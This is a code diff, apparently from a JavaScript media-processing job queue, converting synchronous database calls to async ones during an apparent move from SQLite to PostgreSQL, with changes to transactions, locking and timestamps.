- [id, src.app_id, src.namespace || db.rootNamespace(db.getApp(src.app_id) || { app_id: src.app_id }), kind || src.kind, src.owner_subject || null, src.owner_app || src.app_id, src.owner_user_id ?? null,
+ [id, src.app_id, src.namespace || db.rootNamespace(await db.getApp(src.app_id) || { app_id: src.app_id }), kind || src.kind, src.owner_subject || null, src.owner_app || src.app_id, src.owner_user_id ?? null,
mimeFor(ext, src), size, hash, dest,
mimeFor(ext, src), size, hash, dest,
JSON.stringify({ title: md.title || null, derived_from: src.id, job_id: job.id, filename: `${src.id}${suffix ? `-${suffix}` : metadata.part ? `-part${metadata.part}` : '-remux'}${ext}`, ...metadata })]);
JSON.stringify({ title: md.title || null, derived_from: src.id, job_id: job.id, filename: `${src.id}${suffix ? `-${suffix}` : metadata.part ? `-part${metadata.part}` : '-remux'}${ext}`, ...metadata })]);
- model.upsertLocation(id, { provider: 'local', key: dest, state: 'present', size_bytes: size, checksum: hash, verified: true });
- model.setRelationship(id, 'derived_from', src.id, { job_id: job.id, ...relation });
- if (variant) model.setVariant(src.id, variant, id, `${job.type}@1`);
+ await model.upsertLocation(id, { provider: 'local', key: dest, state: 'present', size_bytes: size, checksum: hash, verified: true });
+ await model.setRelationship(id, 'derived_from', src.id, { job_id: job.id, ...relation });
+ if (variant) await model.setVariant(src.id, variant, id, `${job.type}@1`);
});
});
} catch (err) {
} catch (err) {
try { fs.unlinkSync(dest); } catch { /* not moved */ }
try { fs.unlinkSync(dest); } catch { /* not moved */ }
@@ -210,7 +210,7 @@ function validateSplit({ obj, params }) {
@@ -210,7 +210,7 @@ function validateSplit({ obj, params }) {
}
}
async function runSplit(job, ctx) {
async function runSplit(job, ctx) {
- const src = loadSource(job);
+ const src = await loadSource(job);
const source = await resolveSource(src);
const source = await resolveSource(src);
if (!source) throw new JobError('media_unavailable', 'The source bytes are unavailable (no local file and no cloud copy)', { permanent: true });
if (!source) throw new JobError('media_unavailable', 'The source bytes are unavailable (no local file and no cloud copy)', { permanent: true });
const md = model.parseJson(src.metadata, {});
const md = model.parseJson(src.metadata, {});
@@ -223,7 +223,7 @@ async function runSplit(job, ctx) {
@@ -223,7 +223,7 @@ async function runSplit(job, ctx) {
const cp = ctx.checkpoint && Array.isArray(ctx.checkpoint.parts) ? ctx.checkpoint : { parts: [] };
const cp = ctx.checkpoint && Array.isArray(ctx.checkpoint.parts) ? ctx.checkpoint : { parts: [] };
const doneParts = new Set(cp.parts.map(p => p.part));
const doneParts = new Set(cp.parts.map(p => p.part));
const remaining = Math.max(0, (Number(src.size_bytes) || 0) - cp.parts.reduce((a, p) => a + p.size_bytes, 0));
const remaining = Math.max(0, (Number(src.size_bytes) || 0) - cp.parts.reduce((a, p) => a + p.size_bytes, 0));
- checkRoom(src, remaining);
+ await checkRoom(src, remaining);
const ext = extFor(src, source.name);
const ext = extFor(src, source.name);
const dir = workDir(job.id);
const dir = workDir(job.id);
const maxBytes = Number(job.params.max_bytes) || require('../objects/invariant').thresholds().maxBytes;
const maxBytes = Number(job.params.max_bytes) || require('../objects/invariant').thresholds().maxBytes;
@@ -274,14 +274,14 @@ function validateRemux({ obj }) {
@@ -274,14 +274,14 @@ function validateRemux({ obj }) {
}
}
async function runRemux(job, ctx) {
async function runRemux(job, ctx) {
- const src = loadSource(job);
+ const src = await loadSource(job);
if (ctx.checkpoint && ctx.checkpoint.object_id) { // finished before an interruption
if (ctx.checkpoint && ctx.checkpoint.object_id) { // finished before an interruption
cleanupWork(job.id);
cleanupWork(job.id);
return { source_id: src.id, method: 'remux', ...ctx.checkpoint, source_unchanged: true };
return { source_id: src.id, method: 'remux', ...ctx.checkpoint, source_unchanged: true };
}
}
const source = await resolveSource(src);
const source = await resolveSource(src);
if (!source) throw new JobError('media_unavailable', 'The source bytes are unavailable (no local file and no cloud copy)', { permanent: true });
if (!source) throw new JobError('media_unavailable', 'The source bytes are unavailable (no local file and no cloud copy)', { permanent: true });
- checkRoom(src, Number(src.size_bytes) || 0);
+ await checkRoom(src, Number(src.size_bytes) || 0);
const ext = extFor(src, source.name);
const ext = extFor(src, source.name);
const out = path.join(workDir(job.id), `remux${ext}`);
const out = path.join(workDir(job.id), `remux${ext}`);
const r = await ffmpeg(['-y', '-nostdin', '-v', 'error', ...inputArgs(source), '-i', source.input, '-map', '0:v?', '-map', '0:a?', '-c', 'copy',
const r = await ffmpeg(['-y', '-nostdin', '-v', 'error', ...inputArgs(source), '-i', source.input, '-map', '0:v?', '-map', '0:a?', '-c', 'copy',
@@ -45,28 +45,28 @@ function validate({ obj, params }) {
@@ -45,28 +45,28 @@ function validate({ obj, params }) {
async function run(job, ctx = {}) {
async function run(job, ctx = {}) {
const p = validate({ obj: null, params: job.params });
const p = validate({ obj: null, params: job.params });
const walking = p.after_id == null;
const walking = p.after_id == null;
- const afterId = walking ? (Number(db.getSetting(cursorKey(job.app_id))) || 0) : p.after_id;
+ const afterId = walking ? (Number(await db.getSetting(cursorKey(job.app_id))) || 0) : p.after_id;
const report = await reconcile.reconcileBatch({
const report = await reconcile.reconcileBatch({
appId: job.app_id, afterId, limit: p.limit, apply: p.apply, confirmRemote: p.confirm_remote, signal: ctx.signal,
appId: job.app_id, afterId, limit: p.limit, apply: p.apply, confirmRemote: p.confirm_remote, signal: ctx.signal,
});
});
report.job_id = job.id;
report.job_id = job.id;
const file = reconcile.writeReport(report);
const file = reconcile.writeReport(report);
const next = report.range.done ? 0 : report.range.last_id;
const next = report.range.done ? 0 : report.range.last_id;
- if (walking) db.setSetting(cursorKey(job.app_id), next, 'number');
+ if (walking) await db.setSetting(cursorKey(job.app_id), next, 'number');
return { mode: report.mode, counts: report.counts, range: report.range, next_after_id: next, report: path.basename(file) };
return { mode: report.mode, counts: report.counts, range: report.range, next_after_id: next, report: path.basename(file) };
}
}
/** Queue one run per tenant with VODs every MEDIA_DURATION_RECONCILE_HOURS (0 = never). Returns how many. */
/** Queue one run per tenant with VODs every MEDIA_DURATION_RECONCILE_HOURS (0 = never). Returns how many. */
-function schedule(nowMs = Date.now()) {
+async function schedule(nowMs = Date.now()) {
const hours = envInt('MEDIA_DURATION_RECONCILE_HOURS', 0);
const hours = envInt('MEDIA_DURATION_RECONCILE_HOURS', 0);
if (!(hours > 0)) return 0;
if (!(hours > 0)) return 0;
const period = Math.floor(nowMs / (hours * 3600 * 1000));
const period = Math.floor(nowMs / (hours * 3600 * 1000));
const apply = bool(process.env.MEDIA_DURATION_RECONCILE_APPLY || '');
const apply = bool(process.env.MEDIA_DURATION_RECONCILE_APPLY || '');
const limit = Math.min(reconcile.MAX_BATCH, Math.max(1, envInt('MEDIA_DURATION_RECONCILE_BATCH', 25)));
const limit = Math.min(reconcile.MAX_BATCH, Math.max(1, envInt('MEDIA_DURATION_RECONCILE_BATCH', 25)));
let n = 0;
let n = 0;
- for (const { app_id: appId } of db.all('SELECT DISTINCT app_id FROM vods WHERE COALESCE(is_recording, 0) = 0 AND file_path IS NOT NULL')) {
+ for (const { app_id: appId } of await db.all('SELECT DISTINCT app_id FROM vods WHERE COALESCE(is_recording, 0) = 0 AND file_path IS NOT NULL')) {
try {
try {
- const r = queue.enqueue({ appId, type: TYPE, params: { limit, apply, confirm_remote: false }, idempotencyKey: `${TYPE}:${hours}h:${period}`, createdBy: 'system:schedule' });
+ const r = await queue.enqueue({ appId, type: TYPE, params: { limit, apply, confirm_remote: false }, idempotencyKey: `${TYPE}:${hours}h:${period}`, createdBy: 'system:schedule' });
if (r.created) n++;
if (r.created) n++;
} catch (err) { console.warn(`[Jobs] could not schedule ${TYPE} for ${appId}: ${err.message}`); }
} catch (err) { console.warn(`[Jobs] could not schedule ${TYPE} for ${appId}: ${err.message}`); }
}
}
@@ -50,8 +50,8 @@ function proposalKey(objectId, type) {
@@ -50,8 +50,8 @@ function proposalKey(objectId, type) {
* The validator. `dryRun` writes nothing (no violation rows, no proposals) and returns what it would
* The validator. `dryRun` writes nothing (no violation rows, no proposals) and returns what it would
* propose. Used by the job below and by scripts/media-jobs.js scan.
* propose. Used by the job below and by scripts/media-jobs.js scan.
*/
*/
-function scanTenant(appId, { dryRun = false, scanJobId = null } = {}) {
- const report = invariant.scan({ record: !dryRun, appId });
+async function scanTenant(appId, { dryRun = false, scanJobId = null } = {}) {
+ const report = await invariant.scan({ record: !dryRun, appId });
const t = report.thresholds;
const t = report.thresholds;
const out = {
const out = {
thresholds: t, counts: report.counts, violations: 0, proposed: 0, already_proposed: 0, withdrawn: 0,
thresholds: t, counts: report.counts, violations: 0, proposed: 0, already_proposed: 0, withdrawn: 0,
@@ -62,19 +62,19 @@ function scanTenant(appId, { dryRun = false, scanJobId = null } = {}) {
@@ -62,19 +62,19 @@ function scanTenant(appId, { dryRun = false, scanJobId = null } = {}) {
if (v.level !== 'violation') continue;
if (v.level !== 'violation') continue;
out.violations++;
out.violations++;
violating.add(v.object_id);
violating.add(v.object_id);
- const obj = model.getObject(v.object_id);
+ const obj = await model.getObject(v.object_id);
if (!obj) continue;
if (!obj) continue;
const plan = planFor(obj, t);
const plan = planFor(obj, t);
out.by_type[plan.type] = (out.by_type[plan.type] || 0) + 1;
out.by_type[plan.type] = (out.by_type[plan.type] || 0) + 1;
const key = proposalKey(obj.id, plan.type);
const key = proposalKey(obj.id, plan.type);
if (dryRun) {
if (dryRun) {
- const prior = db.get('SELECT id, status FROM media_jobs WHERE app_id = ? AND idempotency_key = ?', [appId, key]);
+ const prior = await db.get('SELECT id, status FROM media_jobs WHERE app_id = ? AND idempotency_key = ?', [appId, key]);
if (prior) out.already_proposed++; else out.proposed++;
if (prior) out.already_proposed++; else out.proposed++;
out.proposals.push({ object_id: obj.id, legacy_ref: obj.legacy_ref, size_bytes: obj.size_bytes, type: plan.type, params: plan.params, existing: prior || null });
out.proposals.push({ object_id: obj.id, legacy_ref: obj.legacy_ref, size_bytes: obj.size_bytes, type: plan.type, params: plan.params, existing: prior || null });
continue;
continue;
}
}
try {
try {
- const r = queue.enqueue({
+ const r = await queue.enqueue({
appId, type: plan.type, objectId: obj.id, params: plan.params, status: 'proposed',
appId, type: plan.type, objectId: obj.id, params: plan.params, status: 'proposed',
idempotencyKey: key, createdBy: scanJobId ? `${SYSTEM}:${scanJobId}` : SYSTEM,
idempotencyKey: key, createdBy: scanJobId ? `${SYSTEM}:${scanJobId}` : SYSTEM,
});
});
@@ -85,11 +85,11 @@ function scanTenant(appId, { dryRun = false, scanJobId = null } = {}) {
@@ -85,11 +85,11 @@ function scanTenant(appId, { dryRun = false, scanJobId = null } = {}) {
}
}
}
}
// Withdraw open proposals whose object no longer breaks the policy.
// Withdraw open proposals whose object no longer breaks the policy.
- const open = db.all(`SELECT id, object_id FROM media_jobs WHERE app_id = ? AND status = 'proposed' AND created_by LIKE ?`, [appId, `${SYSTEM}%`]);
+ const open = await db.all(`SELECT id, object_id FROM media_jobs WHERE app_id = ? AND status = 'proposed' AND created_by ILIKE ?`, [appId, `${SYSTEM}%`]);
for (const p of open) {
for (const p of open) {
if (violating.has(p.object_id)) continue;
if (violating.has(p.object_id)) continue;
if (dryRun) { out.withdrawn++; continue; }
if (dryRun) { out.withdrawn++; continue; }
- const r = queue.cancel(p.id, { by: SYSTEM, reason: 'the object no longer breaks the public size policy' });
+ const r = await queue.cancel(p.id, { by: SYSTEM, reason: 'the object no longer breaks the public size policy' });
if (r && r.job && r.job.status === 'cancelled') out.withdrawn++;
if (r && r.job && r.job.status === 'cancelled') out.withdrawn++;
}
}
if (!dryRun) delete out.proposals;
if (!dryRun) delete out.proposals;
@@ -97,7 +97,7 @@ function scanTenant(appId, { dryRun = false, scanJobId = null } = {}) {
@@ -97,7 +97,7 @@ function scanTenant(appId, { dryRun = false, scanJobId = null } = {}) {
}
}
async function run(job) {
async function run(job) {
- return scanTenant(job.app_id, { scanJobId: job.id });
+ return await scanTenant(job.app_id, { scanJobId: job.id });
}
}
function validate({ obj }) {
function validate({ obj }) {
@@ -56,7 +56,7 @@ function validateWaveform({ obj, params }) {
@@ -56,7 +56,7 @@ function validateWaveform({ obj, params }) {
}
}
async function runWaveform(job, ctx) {
async function runWaveform(job, ctx) {
- const src = d.loadSource(job);
+ const src = await d.loadSource(job);
const p = validateWaveform({ obj: src, params: job.params });
const p = validateWaveform({ obj: src, params: job.params });
if (ctx.checkpoint && ctx.checkpoint.object_id) { d.cleanupWork(job.id); return { source_id: src.id, method: 'waveform', ...ctx.checkpoint }; }
if (ctx.checkpoint && ctx.checkpoint.object_id) { d.cleanupWork(job.id); return { source_id: src.id, method: 'waveform', ...ctx.checkpoint }; }
const source = await d.resolveSource(src);
const source = await d.resolveSource(src);
@@ -64,7 +64,7 @@ async function runWaveform(job, ctx) {
@@ -64,7 +64,7 @@ async function runWaveform(job, ctx) {
if (source.remote && Number(src.size_bytes) > REMOTE_MAX_BYTES) {
if (source.remote && Number(src.size_bytes) > REMOTE_MAX_BYTES) {
throw new JobError('too_large', `A waveform decodes the whole audio track; this source is only in cloud storage and larger than ${REMOTE_MAX_BYTES / MB} MB`, { permanent: true });
throw new JobError('too_large', `A waveform decodes the whole audio track; this source is only in cloud storage and larger than ${REMOTE_MAX_BYTES / MB} MB`, { permanent: true });
}
}
- d.checkRoom(src, 8 * MB);
+ await d.checkRoom(src, 8 * MB);
const out = path.join(d.workDir(job.id), 'waveform.png');
const out = path.join(d.workDir(job.id), 'waveform.png');
const r = await d.ffmpeg(['-y', '-nostdin', '-v', 'error', ...d.inputArgs(source), '-i', source.input,
const r = await d.ffmpeg(['-y', '-nostdin', '-v', 'error', ...d.inputArgs(source), '-i', source.input,
'-filter_complex', `[0:a:0]aformat=channel_layouts=mono,showwavespic=s=${p.width}x${p.height}:colors=#60a5fa:scale=sqrt[w]`, '-map', '[w]', '-frames:v', '1', out],
'-filter_complex', `[0:a:0]aformat=channel_layouts=mono,showwavespic=s=${p.width}x${p.height}:colors=#60a5fa:scale=sqrt[w]`, '-map', '[w]', '-frames:v', '1', out],
@@ -104,12 +104,12 @@ function spriteLayout(duration, { frames, columns, tile_width }) {
@@ -104,12 +104,12 @@ function spriteLayout(duration, { frames, columns, tile_width }) {
}
}
async function runSprite(job, ctx) {
async function runSprite(job, ctx) {
- const src = d.loadSource(job);
+ const src = await d.loadSource(job);
const p = validateSprite({ obj: src, params: job.params });
const p = validateSprite({ obj: src, params: job.params });
if (ctx.checkpoint && ctx.checkpoint.object_id) { d.cleanupWork(job.id); return { source_id: src.id, method: 'sprite', ...ctx.checkpoint }; }
if (ctx.checkpoint && ctx.checkpoint.object_id) { d.cleanupWork(job.id); return { source_id: src.id, method: 'sprite', ...ctx.checkpoint }; }
const source = await d.resolveSource(src);
const source = await d.resolveSource(src);
if (!source) throw new JobError('media_unavailable', 'The source bytes are unavailable (no local file and no cloud copy)', { permanent: true });
if (!source) throw new JobError('media_unavailable', 'The source bytes are unavailable (no local file and no cloud copy)', { permanent: true });
- d.checkRoom(src, 16 * MB);
+ await d.checkRoom(src, 16 * MB);
const meta = await streamsOf(source.input);
const meta = await streamsOf(source.input);
const md = require('../objects/model').parseJson(src.metadata, {});
const md = require('../objects/model').parseJson(src.metadata, {});
const duration = meta.duration || Number(md.duration_seconds) || 0;
const duration = meta.duration || Number(md.duration_seconds) || 0;
@@ -97,11 +97,11 @@ function requestHash(type, objectId, params) {
@@ -97,11 +97,11 @@ function requestHash(type, objectId, params) {
return crypto.createHash('sha256').update(canonical({ type, object_id: objectId || null, params: params || {} })).digest('hex');
return crypto.createHash('sha256').update(canonical({ type, object_id: objectId || null, params: params || {} })).digest('hex');
}
}
-function get(id) {
- return id ? db.get('SELECT * FROM media_jobs WHERE id = ?', [String(id)]) : null;
+async function get(id) {
+ return id ? await db.get('SELECT * FROM media_jobs WHERE id = ?', [String(id)]) : null;
}
}
-function getForApp(id, appId) {
- const row = get(id);
+async function getForApp(id, appId) {
+ const row = await get(id);
return row && row.app_id === appId ? row : null;
return row && row.app_id === appId ? row : null;
}
}
@@ -175,13 +175,13 @@ function jobEvent(row) {
@@ -175,13 +175,13 @@ function jobEvent(row) {
* transaction; wake the relay and tell waiters after the commit. Returns the job row, or null when
* transaction; wake the relay and tell waiters after the commit. Returns the job row, or null when
* `change()` changed nothing (a lost race: the caller decides what that means).
* `change()` changed nothing (a lost race: the caller decides what that means).
*/
*/
-function commit(id, transition, change) {
+async function commit(id, transition, change) {
let row = null;
let row = null;
- db.getDb().transaction(() => {
- if (!change()) return;
- row = get(id);
- if (transition) events.recordJob(transition, jobEvent(row));
- })();
+ await db.getDb().tx(async () => {
+ if (!await change()) return;
+ row = await get(id);
+ if (transition) await events.recordJob(transition, jobEvent(row));
+ });
if (row) {
if (row) {
if (transition) events.kick();
if (transition) events.kick();
bus.emit('change', row);
bus.emit('change', row);
@@ -194,16 +194,16 @@ function commit(id, transition, change) {
@@ -194,16 +194,16 @@ function commit(id, transition, change) {
* `fence`: { token } adds AND lease_token IS <token> (a NULL token matches only an unleased row);
* `fence`: { token } adds AND lease_token IS <token> (a NULL token matches only an unleased row);
* { expired: true } also requires the lease to have run out (recovery taking a job over).
* { expired: true } also requires the lease to have run out (recovery taking a job over).
*/
*/
-function update(id, fromStatuses, sets, params = [], fence = null) {
+async function update(id, fromStatuses, sets, params = [], fence = null) {
const from = Array.isArray(fromStatuses) ? fromStatuses : [fromStatuses];
const from = Array.isArray(fromStatuses) ? fromStatuses : [fromStatuses];
let where = `id = ? AND status IN (${from.map(() => '?').join(', ')})`;
let where = `id = ? AND status IN (${from.map(() => '?').join(', ')})`;
const args = [...params, id, ...from];
const args = [...params, id, ...from];
if (fence) {
if (fence) {
- where += ' AND lease_token IS ?';
+ where += ' AND lease_token IS NOT DISTINCT FROM ?';
args.push(fence.token == null ? null : String(fence.token));
args.push(fence.token == null ? null : String(fence.token));
if (fence.expired) where += " AND (lease_until IS NULL OR lease_until < datetime('now'))";
if (fence.expired) where += " AND (lease_until IS NULL OR lease_until < datetime('now'))";
}
}
- return db.run(`UPDATE media_jobs SET ${sets}, updated_at = CURRENT_TIMESTAMP WHERE ${where}`, args).changes > 0;
+ return (await db.run(`UPDATE media_jobs SET ${sets}, updated_at = ov_now() WHERE ${where}`, args)).changes > 0;
}
}
// ── Fencing ──────────────────────────────────────────────────
// ── Fencing ──────────────────────────────────────────────────
@@ -212,9 +212,9 @@ const stale = { succeed: 0, fail: 0, cancel: 0, renew: 0, checkpoint: 0 };
@@ -212,9 +212,9 @@ const stale = { succeed: 0, fail: 0, cancel: 0, renew: 0, checkpoint: 0 };
function newLeaseToken() { return crypto.randomBytes(16).toString('hex'); }
function newLeaseToken() { return crypto.randomBytes(16).toString('hex'); }
/** A holder's write was refused because its claim no longer holds the job: log, count, tell listeners. */
/** A holder's write was refused because its claim no longer holds the job: log, count, tell listeners. */
-function refuseStale(action, id) {
+async function refuseStale(action, id) {
stale[action] = (stale[action] || 0) + 1;
stale[action] = (stale[action] || 0) + 1;
- const now = get(id);
+ const now = await get(id);
const where = !now ? 'it no longer exists' : now.status === 'running' ? 'another claim holds it' : `it is ${now.status} now`;
const where = !now ? 'it no longer exists' : now.status === 'running' ? 'another claim holds it' : `it is ${now.status} now`;
console.warn(`[Jobs] refused a stale ${action} of ${id} from a holder that lost it (${where})`);
console.warn(`[Jobs] refused a stale ${action} of ${id} from a holder that lost it (${where})`);
bus.emit('stale', { action, id, status: now ? now.status : null });
bus.emit('stale', { action, id, status: now ? now.status : null });
@@ -237,7 +237,7 @@ function holder(opts, action, id) {
@@ -237,7 +237,7 @@ function holder(opts, action, id) {
* Throws JobError: media.job.unknown_type, media.job.idempotency_conflict (409), media.job.too_many (429).
* Throws JobError: media.job.unknown_type, media.job.idempotency_conflict (409), media.job.too_many (429).
* `params` must already be validated (routes.js / the validator do that through the type's validate()).
* `params` must already be validated (routes.js / the validator do that through the type's validate()).
*/
*/
-function enqueue({ appId, type, objectId = null, params = {}, status = 'queued', idempotencyKey = null, dedupeActive = false,
+async function enqueue({ appId, type, objectId = null, params = {}, status = 'queued', idempotencyKey = null, dedupeActive = false,
createdBy = null, ownerUserId = null, maxAttempts = null, runAfterS = 0 }) {
createdBy = null, ownerUserId = null, maxAttempts = null, runAfterS = 0 }) {
const spec = typeSpec(type);
const spec = typeSpec(type);
if (!spec) throw new JobError('media.job.unknown_type', `Unknown job type ${type}`, { status: 400, permanent: true });
if (!spec) throw new JobError('media.job.unknown_type', `Unknown job type ${type}`, { status: 400, permanent: true });
@@ -246,9 +246,12 @@ function enqueue({ appId, type, objectId = null, params = {}, status = 'queued',
@@ -246,9 +246,12 @@ function enqueue({ appId, type, objectId = null, params = {}, status = 'queued',
const hash = requestHash(type, objectId, params);
const hash = requestHash(type, objectId, params);
let out = null;
let out = null;
const id = `mjob_${ids.ulid()}`;
const id = `mjob_${ids.ulid()}`;
- db.getDb().transaction(() => {
+ await db.getDb().tx(async () => {
+ // One enqueue per tenant at a time (SQLite's one writer did this): the key, the identical active job and the
+ // active count below are read with every earlier enqueue of the tenant committed.
+ await db.get('SELECT pg_advisory_xact_lock(hashtext(?)) AS locked', [`media.jobs:${appId}`]);
if (key) {
if (key) {
- const prior = db.get('SELECT * FROM media_jobs WHERE app_id = ? AND idempotency_key = ?', [appId, key]);
+ const prior = await db.get('SELECT * FROM media_jobs WHERE app_id = ? AND idempotency_key = ?', [appId, key]);
if (prior) {
if (prior) {
if (prior.request_hash !== hash) {
if (prior.request_hash !== hash) {
throw new JobError('media.job.idempotency_conflict', 'This Idempotency-Key was used for a different job request', { status: 409, permanent: true });
throw new JobError('media.job.idempotency_conflict', 'This Idempotency-Key was used for a different job request', { status: 409, permanent: true });
@@ -258,25 +261,25 @@ function enqueue({ appId, type, objectId = null, params = {}, status = 'queued',
@@ -258,25 +261,25 @@ function enqueue({ appId, type, objectId = null, params = {}, status = 'queued',
}
}
}
}
if (dedupeActive) {
if (dedupeActive) {
- const same = db.get(`SELECT * FROM media_jobs WHERE app_id = ? AND job_type = ? AND request_hash = ? AND status IN ('queued', 'running')
+ const same = await db.get(`SELECT * FROM media_jobs WHERE app_id = ? AND job_type = ? AND request_hash = ? AND status IN ('queued', 'running')
ORDER BY id DESC LIMIT 1`, [appId, type, hash]);
ORDER BY id DESC LIMIT 1`, [appId, type, hash]);
if (same) { out = { job: same, created: false, replayed: false, deduped: true }; return; }
if (same) { out = { job: same, created: false, replayed: false, deduped: true }; return; }
}
}
if (status === 'queued') {
if (status === 'queued') {
- const active = db.get("SELECT COUNT(*) AS n FROM media_jobs WHERE app_id = ? AND status IN ('queued', 'running')", [appId]).n;
+ const active = (await db.get("SELECT COUNT(*) AS n FROM media_jobs WHERE app_id = ? AND status IN ('queued', 'running')", [appId])).n;
if (active >= MAX_ACTIVE_PER_TENANT) {
if (active >= MAX_ACTIVE_PER_TENANT) {
throw new JobError('media.job.too_many', `At most ${MAX_ACTIVE_PER_TENANT} jobs may be queued or running per tenant`, { status: 429, retryAfterS: 60 });
throw new JobError('media.job.too_many', `At most ${MAX_ACTIVE_PER_TENANT} jobs may be queued or running per tenant`, { status: 429, retryAfterS: 60 });
}
}
}
}
- db.run(`INSERT INTO media_jobs (id, app_id, object_id, job_type, status, idempotency_key, request_hash, params, max_attempts,
+ await db.run(`INSERT INTO media_jobs (id, app_id, object_id, job_type, status, idempotency_key, request_hash, params, max_attempts,
run_after, created_by, owner_user_id)
run_after, created_by, owner_user_id)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ${runAfterS > 0 ? `datetime('now', '+${Math.round(runAfterS)} seconds')` : 'NULL'}, ?, ?)`,
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ${runAfterS > 0 ? `datetime('now', '+${Math.round(runAfterS)} seconds')` : 'NULL'}, ?, ?)`,
[id, appId, objectId, type, status, key, hash, JSON.stringify(params || {}),
[id, appId, objectId, type, status, key, hash, JSON.stringify(params || {}),
Math.max(1, Math.min(10, Number(maxAttempts) || spec.maxAttempts)), createdBy, ownerUserId ?? null]);
Math.max(1, Math.min(10, Number(maxAttempts) || spec.maxAttempts)), createdBy, ownerUserId ?? null]);
- const row = get(id);
- events.recordJob(status, jobEvent(row));
+ const row = await get(id);
+ await events.recordJob(status, jobEvent(row));
out = { job: row, created: true, replayed: false, deduped: false };
out = { job: row, created: true, replayed: false, deduped: false };
- })();
+ });
if (out.created) { events.kick(); bus.emit('change', out.job); }
if (out.created) { events.kick(); bus.emit('change', out.job); }
return out;
return out;
}
}
@@ -284,8 +287,8 @@ function enqueue({ appId, type, objectId = null, params = {}, status = 'queued',
@@ -284,8 +287,8 @@ function enqueue({ appId, type, objectId = null, params = {}, status = 'queued',
// ── Owner decisions ──────────────────────────────────────────
// ── Owner decisions ──────────────────────────────────────────
/** proposed -> queued. Returns the job, or null when it is not a proposal (any more). */
/** proposed -> queued. Returns the job, or null when it is not a proposal (any more). */
-function approve(id, { by = null } = {}) {
- return commit(id, 'queued', () => update(id, 'proposed', "status = 'queued', decided_by = ?, decided_at = CURRENT_TIMESTAMP, run_after = NULL", [by]));
+async function approve(id, { by = null } = {}) {
+ return await commit(id, 'queued', async () => await update(id, 'proposed', "status = 'queued', decided_by = ?, decided_at = ov_now(), run_after = NULL", [by]));
}
}
/**
/**
@@ -293,20 +296,20 @@ function approve(id, { by = null } = {}) {
@@ -293,20 +296,20 @@ function approve(id, { by = null } = {}) {
* stops at its next check (the worker also aborts it in-process); { job, pending: true } until then.
* stops at its next check (the worker also aborts it in-process); { job, pending: true } until then.
* Finished jobs: { job, finished: true } and nothing changes.
* Finished jobs: { job, finished: true } and nothing changes.
*/
*/
-function cancel(id, { by = null, reason = null } = {}) {
- const row = get(id);
+async function cancel(id, { by = null, reason = null } = {}) {
+ const row = await get(id);
if (!row) return null;
if (!row) return null;
if (FINISHED.includes(row.status)) return { job: row, finished: true };
if (FINISHED.includes(row.status)) return { job: row, finished: true };
if (row.status === 'running') {
if (row.status === 'running') {
- db.run('UPDATE media_jobs SET cancel_requested = 1, decided_by = COALESCE(decided_by, ?), updated_at = CURRENT_TIMESTAMP WHERE id = ?', [by, id]);
+ await db.run('UPDATE media_jobs SET cancel_requested = 1, decided_by = COALESCE(decided_by, ?), updated_at = ov_now() WHERE id = ?', [by, id]);
try { require('./worker').abort(id); } catch { /* the heartbeat sees the flag */ }
try { require('./worker').abort(id); } catch { /* the heartbeat sees the flag */ }
- return { job: get(id), pending: true };
+ return { job: await get(id), pending: true };
}
}
- const done = commit(id, 'cancelled', () => update(id, ['proposed', 'queued'],
- `status = 'cancelled', finished_at = CURRENT_TIMESTAMP, decided_by = ?, decided_at = CURRENT_TIMESTAMP,
- error = COALESCE(?, error), error_code = CASE WHEN ? IS NULL THEN error_code ELSE 'cancelled' END`, [by, reason, reason]));
+ const done = await commit(id, 'cancelled', async () => await update(id, ['proposed', 'queued'],
+ `status = 'cancelled', finished_at = ov_now(), decided_by = ?, decided_at = ov_now(),
+ error = COALESCE(?::text, error), error_code = CASE WHEN ?::text IS NULL THEN error_code ELSE 'cancelled' END`, [by, reason, reason]));
if (done) return { job: done };
if (done) return { job: done };
- return cancel(id, { by, reason }); // it moved on meanwhile (picked up): try again from its new state
+ return await cancel(id, { by, reason }); // it moved on meanwhile (picked up): try again from its new state
}
}
// ── Worker side ──────────────────────────────────────────────
// ── Worker side ──────────────────────────────────────────────
@@ -315,20 +318,20 @@ function cancel(id, { by = null, reason = null } = {}) {
@@ -315,20 +318,20 @@ function cancel(id, { by = null, reason = null } = {}) {
* Take the oldest due queued job of these types (or exactly `id`): running, attempts + 1, leased, with
* Take the oldest due queued job of these types (or exactly `id`): running, attempts + 1, leased, with
* a fresh lease_token. Returns the row (its lease_token is the holder's fence) or null.
* a fresh lease_token. Returns the row (its lease_token is the holder's fence) or null.
*/
*/
-function claim(types, { leaseS = 120, id = null } = {}) {
+async function claim(types, { leaseS = 120, id = null } = {}) {
if (!id && !types.length) return null;
if (!id && !types.length) return null;
let row = null;
let row = null;
- db.getDb().transaction(() => {
+ await db.getDb().tx(async () => {
const next = id
const next = id
- ? db.get("SELECT id FROM media_jobs WHERE id = ? AND status = 'queued'", [id])
- : db.get(`SELECT id FROM media_jobs WHERE status = 'queued' AND job_type IN (${types.map(() => '?').join(', ')})
+ ? await db.get("SELECT id FROM media_jobs WHERE id = ? AND status = 'queued'", [id])
+ : await db.get(`SELECT id FROM media_jobs WHERE status = 'queued' AND job_type IN (${types.map(() => '?').join(', ')})
AND (run_after IS NULL OR run_after <= datetime('now')) ORDER BY id LIMIT 1`, types);
AND (run_after IS NULL OR run_after <= datetime('now')) ORDER BY id LIMIT 1`, types);
if (!next) return;
if (!next) return;
- if (!update(next.id, 'queued', `status = 'running', attempts = attempts + 1, started_at = COALESCE(started_at, CURRENT_TIMESTAMP),
+ if (!await update(next.id, 'queued', `status = 'running', attempts = attempts + 1, started_at = COALESCE(started_at, ov_now()),
lease_until = datetime('now', '+${Math.round(leaseS)} seconds'), run_after = NULL, lease_token = ?`, [newLeaseToken()])) return;
lease_until = datetime('now', '+${Math.round(leaseS)} seconds'), run_after = NULL, lease_token = ?`, [newLeaseToken()])) return;
- row = get(next.id);
- events.recordJob('started', jobEvent(row));
- })();
+ row = await get(next.id);
+ await events.recordJob('started', jobEvent(row));
+ });
if (row) { events.kick(); bus.emit('change', row); }
if (row) { events.kick(); bus.emit('change', row); }
return row;
return row;
}
}
@@ -337,13 +340,13 @@ function claim(types, { leaseS = 120, id = null } = {}) {
@@ -337,13 +340,13 @@ function claim(types, { leaseS = 120, id = null } = {}) {
* Extend a running job's lease, for the holder of `token` only. Returns { running, held, cancelRequested }:
* Extend a running job's lease, for the holder of `token` only. Returns { running, held, cancelRequested }:
* held false = this claim lost the job (refused as stale; the worker aborts its handler).
